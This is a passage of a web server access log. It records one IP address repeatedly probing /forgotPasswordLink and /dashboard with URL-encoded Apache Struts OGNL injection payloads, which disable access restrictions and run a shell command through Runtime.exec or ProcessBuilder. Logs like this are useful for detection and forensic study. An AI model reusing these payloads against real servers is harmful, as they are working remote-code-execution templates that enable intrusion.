29%27%29%28bla%29%29 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:12 -0500] "GET /forgotPasswordLink?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:13 -0500] "GET /forgotPasswordLink?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:14 -0500] "GET /forgotPasswordLink?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:14 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:14 -0500] "GET /forgotPasswordLink/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:15 -0500] "GET /forgotPasswordLink/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:15 -0500] "GET /forgotPasswordLink&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:15 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:16 -0500] "GET /forgotPasswordLink&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:16 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:16 -0500] "GET /forgotPasswordLink%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:16 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:17 -0500] "GET /forgotPasswordLink%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:17 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:17 -0500] "GET /forgotPasswordLink?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:18 -0500] "GET /forgotPasswordLink?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:18 -0500] "GET /forgotPasswordLink/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:18 -0500] "GET /forgotPasswordLink/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:19 -0500] "GET /forgotPasswordLink?redirect%3A%24%7B7554568%2B7203918%7D HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:19 -0500] "GET /forgotPasswordLink?redirect%3A%24%7B7554568%2B7203918%7D HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:19 -0500] "GET /forgotPasswordLink?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:20 -0500] "GET /forgotPasswordLink?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:20 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:20 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:21 -0500] "GET /forgotPasswordLink?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:21 -0500] "GET /forgotPasswordLink?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:21 -0500] "GET /forgotPasswordLink/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:23 -0500] "GET /forgotPasswordLink/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:23 -0500] "GET /forgotPasswordLink/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:23 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:24 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:24 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:24 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:25 -0500] "POST /forgotPasswordLink HTTP/1.0" 200 2142 208.87.206.42 - - [30/Dec/2023:02:24:25 -0500] "GET /forgotPasswordLink?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:26 -0500] "GET /forgotPasswordLink/%24%7B4779604%2B7135668%7D/index.action HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:26 -0500] "GET /forgotPasswordLink HTTP/1.0" 200 3725 208.87.206.42 - - [30/Dec/2023:02:24:26 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:26 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:27 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:27 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:27 -0500] "GET /dashboard?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:28 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:28 -0500] "GET /dashboard?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:29 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:29 -0500] "GET /dashboard?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:29 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:29 -0500] "GET /dashboard?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:30 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:30 -0500] "POST /dashboard HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:30 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:31 -0500] "GET /dashboard/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:31 -0500] "GET /dashboard/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 200 2145 208.87.206.42 - - [30/Dec/2023:02:24:31 -0500] "GET /dashboard&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:32 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:32 -0500] "GET /dashboard&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:32 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:32 -0500] "GET /dashboard%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:33 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:33 -0500] "GET /dashboard%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:33 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:33 -0500] "GET /dashboard?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:34 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:34 -0500] "GET /dashboard?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 302 - 208.87.206.42 - - [30/Dec/2023:02:24:35 -0500] "GET /login HTTP/1.0" 200 4254 208.87.206.42 - - [30/Dec/2023:02:24:35 -0500] "GET /dashboard/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action 